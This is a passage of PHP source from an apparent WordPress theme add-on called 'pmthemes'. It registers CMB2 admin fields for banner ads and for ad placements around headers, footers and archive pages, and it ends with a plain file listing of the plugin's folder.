        'id' => 'pmthemes_ad_image_7',
        'default' => 'http://premadethemes.com/bns/125g.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #8 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #8 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_8',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #8 Image',
        'desc' => 'Enter the URL for banner #8 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_8',
        'default' => 'http://premadethemes.com/bns/125h.png',
        'type' => 'file',
    ) );

    ///=======> Genesis/PMThemes Specific Options Start <===========
    if ( pmthemes_check_supported_themes()) :
    ////////////////////////////// Tertiary Options Page ////////////////////////
    /**
     * Registers tertiary options page, and set main item as parent.
     */
    $ter_opt = new_cmb2_box( array(
        'id'           => 'pmthemes_extra_ads',
        'title'        => esc_html__( 'Extra Ads', 'cmb2' ),
        'object_types' => array( 'options-page' ),
        'option_key'   => 'pmthemes_extra_ads',
        'parent_slug'  => 'pmthemes_ads',
    ) );

    // Extra Ads Header
    $ter_opt->add_field( array(
        'name' => __( 'Extra Ads', 'pmthemes' ),
        'desc' => __( 'These ads are displayed above header, below header, and below footer.','pmthemes' ),
        'type' => 'title',
        'id'   => 'extra_ads_header',
    ) );
    ///=======> Ad ABOVE Header Start <===========
    $ter_opt->add_field( array(
        'name' => __( 'Ad ABOVE Header', 'pmthemes' ),
        'desc' => __( 'Inserted before the header area.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_above_head_header',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_above_header',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id'      => 'ad_above_header_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Top Post Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'ad_above_header_pos',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'center',
    ) );
    ///=======> Ad ABOVE Header END <===========
    ///=======> Ad BELOW Header Start <===========
    $ter_opt->add_field( array(
        'name' => __( 'Ad BELOW Header', 'pmthemes' ),
        'desc' => __( 'Inserted after the header area.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_below_head_header',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_below_header',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id'      => 'ad_below_header_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Top Post Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'ad_below_header_pos',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'center',
    ) );
    ///=======> Ad BELOW Header END <===========
    ///=======> Ad BELOW Footer Start <===========
    $ter_opt->add_field( array(
        'name' => __( 'Ad BELOW Footer', 'pmthemes' ),
        'desc' => __( 'Inserted below the footer area.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_below_footer_header',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_below_footer',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id'      => 'ad_below_footer_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Top Post Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'ad_below_footer_pos',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'center',
    ) );
    ///=======> Ad BELOW Footer END <===========
    ///=======> Archive Ads Start <===========
    // Archive Ads Header
    $ter_opt->add_field( array(
        'name' => __( 'Archive Ads', 'pmthemes' ),
        'desc' => __( 'These ads are displayed on archive areas.','pmthemes' ),
        'type' => 'title',
        'id'   => 'archive_ads_header',
    ) );
    $ter_opt->add_field( array(
        'name'    => __( 'Ad On Top of Archive Pages', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'archive_content_top',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enable', 'pmthemes' ),
            'disable'   => __( 'Disable', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );

    $ter_opt->add_field( array(
        'name' => __( 'Top Archive Ad Code', 'pmthemes' ),
        'desc' => __( 'Replace existing ad code here. Displayed on top of archive pages.', 'pmthemes' ),
        'id' => 'archive_content_top_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );

    $ter_opt->add_field( array(
        'name'    => __( 'Top Archive Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'archive_content_top_position',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
    ) );

    $ter_opt->add_field( array(
        'name'    => __( 'Ad Below Archive Pages', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'archive_content_below',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enable', 'pmthemes' ),
            'disable'   => __( 'Disable', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );

    $ter_opt->add_field( array(
        'name' => __( 'Below Archive Ad Code', 'pmthemes' ),
        'desc' => __( 'Replace existing ad code here. Displayed below archive pages.', 'pmthemes' ),
        'id' => 'archive_content_below_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );

    $ter_opt->add_field( array(
        'name'    => __( 'Below Archive Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'archive_content_below_position',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
    ) );
    ///=======> Archive Ads END <===========
    endif;
    ///=======> Genesis/PMThemes Specific Options END <===========
}

Filemanager

Name Type Size Permission Actions
cmb2 Folder 0755
ebook.php File 12.58 KB 0644
functions.php File 24.52 KB 0644
helpers.php File 1.78 KB 0644
settings.php File 42.25 KB 0644